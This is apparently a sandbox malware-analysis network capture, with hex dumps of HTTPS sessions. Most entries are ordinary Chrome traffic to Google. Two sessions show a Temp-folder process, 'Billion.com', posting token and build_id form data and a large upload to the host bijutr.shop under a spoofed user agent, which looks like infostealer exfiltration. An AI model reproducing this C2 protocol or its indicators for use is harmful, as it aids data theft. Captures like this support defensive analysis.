2024-12-24 18:27:59 UTC	1354	IN	Data Raw: 35 34 33 0d 0a 31 4d 6b 46 32 56 33 70 43 4f 46 45 34 62 45 31 31 52 57 73 76 4d 55 78 42 55 47 73 76 64 6c 52 36 56 44 6c 34 4e 6a 56 79 56 6b 52 43 59 33 6c 56 4e 46 42 6a 56 58 41 34 52 6d 74 68 59 58 4e 51 65 46 70 4c 54 45 35 7a 4c 30 6c 69 52 58 52 31 4d 33 46 73 63 55 52 54 53 46 46 43 62 46 68 56 4f 57 6c 6b 54 6b 39 6d 56 32 77 7a 59 56 63 33 64 6c 49 33 54 6b 56 71 65 54 4d 30 63 32 67 78 4f 54 52 32 53 6c 56 33 62 6c 4a 4a 55 30 4e 72 4e 6a 5a 6a 4f 48 42 36 4f 46 42 54 62 56 63 78 55 30 64 59 4d 6c 42 43 55 48 55 34 53 57 39 6a 4d 32 74 79 56 32 64 4c 55 31 52 72 59 55 56 49 55 32 78 69 4d 6d 68 58 61 56 4e 31 4e 30 31 54 5a 55 6c 71 64 32 70 70 51 58 6c 35 62 30 6b 7a 56 58 42 34 63 6d 70 49 56 46 5a 53 4c 31 6c 79 54 56 4e 6c 64 32 56 6c 59 Data Ascii: 5431MkF2V3pCOFE4bE11RWsvMUxBUGsvdlR6VDl4NjVyVkRCY3lVNFBjVXA4RmthYXNQeFpLTE5zL0liRXR1M3FscURTSFFCbFhVOWlkTk9mV2wzYVc3dlI3TkVqeTM0c2gxOTR2SlV3blJJU0NrNjZjOHB6OFBTbVcxU0dYMlBCUHU4SW9jM2tyV2dLU1RrYUVIU2xiMmhXaVN1N01TZUlqd2ppQXl5b0kzVXB4cmpIVFZSL1lyTVNld2VlY
2024-12-24 18:27:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49853	142.250.181.68	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:58 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 18:27:59 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 24 Dec 2024 18:27:59 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 18:27:59 UTC	372	IN	Data Raw: 32 61 38 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2a8c)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-24 18:27:59 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-24 18:27:59 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-24 18:27:59 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-24 18:27:59 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-24 18:27:59 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700283,3700949,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-24 18:27:59 UTC	1390	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 46 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 48 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 49 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Gd\u003dfunction(a){return new _.Fd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Hd\u003dglobalThis.trustedTypes;_.Id\u003dclass{constructor
2024-12-24 18:27:59 UTC	1390	IN	Data Raw: 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 57 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 59 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 58 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 Data Ascii: rn a.i;throw Error(\"F\");};_.Xd\u003dfunction(a){if(Wd.test(a))return a};_.Yd\u003dfunction(a){if(a instanceof _.Id)if(a instanceof _.Id)a\u003da.i;else throw Error(\"F\");else a\u003d_.Xd(a);return a};_.Zd\u003dfunction(a,b\u003ddocument){let c,d;b\u003
2024-12-24 18:27:59 UTC	798	IN	Data Raw: 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 79 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 Data Ascii: 3d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.ke\u003dfunction(a,b){_.yb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d
2024-12-24 18:27:59 UTC	398	IN	Data Raw: 31 38 37 0d 0a 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 62 5b 31 5d 2c 64 5c 75 30 30 33 64 5f 2e 6d 65 28 61 2c 53 74 72 69 6e 67 28 62 5b 30 5d 29 29 3b 63 5c 75 30 30 32 36 5c 75 30 30 32 36 28 74 79 70 65 6f 66 20 63 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 64 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 63 29 3f 64 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 2e 6a 6f 69 6e 28 5c 22 20 5c 22 29 3a 5f 2e 6b 65 28 64 2c 63 29 29 3b 62 2e 6c 65 6e 67 74 68 5c 75 30 30 33 65 32 5c 75 30 30 32 36 5c 75 30 30 32 36 6e 65 28 61 2c 64 2c 62 29 3b 72 65 74 75 72 6e 20 64 7d 3b 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 Data Ascii: 187const c\u003db[1],d\u003d_.me(a,String(b[0]));c\u0026\u0026(typeof c\u003d\u003d\u003d\"string\"?d.className\u003dc:Array.isArray(c)?d.className\u003dc.join(\" \"):_.ke(d,c));b.length\u003e2\u0026\u0026ne(a,d,b);return d};ne\u003dfunction(a,b,c){func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49854	142.250.181.68	443	320	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:27:58 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 18:27:59 UTC	933	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 24 Dec 2024 18:27:59 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 18:27:59 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-24 18:27:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49874	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:02 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----K6FKFKXLN7QQQI5PHDB1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:02 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 36 46 4b 46 4b 58 4c 4e 37 51 51 51 49 35 50 48 44 42 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 36 46 4b 46 4b 58 4c 4e 37 51 51 51 49 35 50 48 44 42 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 36 46 4b 46 4b 58 4c 4e 37 51 51 51 49 35 50 48 44 42 31 0d 0a 43 6f 6e 74 Data Ascii: ------K6FKFKXLN7QQQI5PHDB1Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------K6FKFKXLN7QQQI5PHDB1Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------K6FKFKXLN7QQQI5PHDB1Cont
2024-12-24 18:28:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-24 18:28:03 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49877	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:03 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----QIWBS2NOP8YU3ECBA1V3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 51 49 57 42 53 32 4e 4f 50 38 59 55 33 45 43 42 41 31 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 51 49 57 42 53 32 4e 4f 50 38 59 55 33 45 43 42 41 31 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 51 49 57 42 53 32 4e 4f 50 38 59 55 33 45 43 42 41 31 56 33 0d 0a 43 6f 6e 74 Data Ascii: ------QIWBS2NOP8YU3ECBA1V3Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------QIWBS2NOP8YU3ECBA1V3Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------QIWBS2NOP8YU3ECBA1V3Cont
2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:03 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
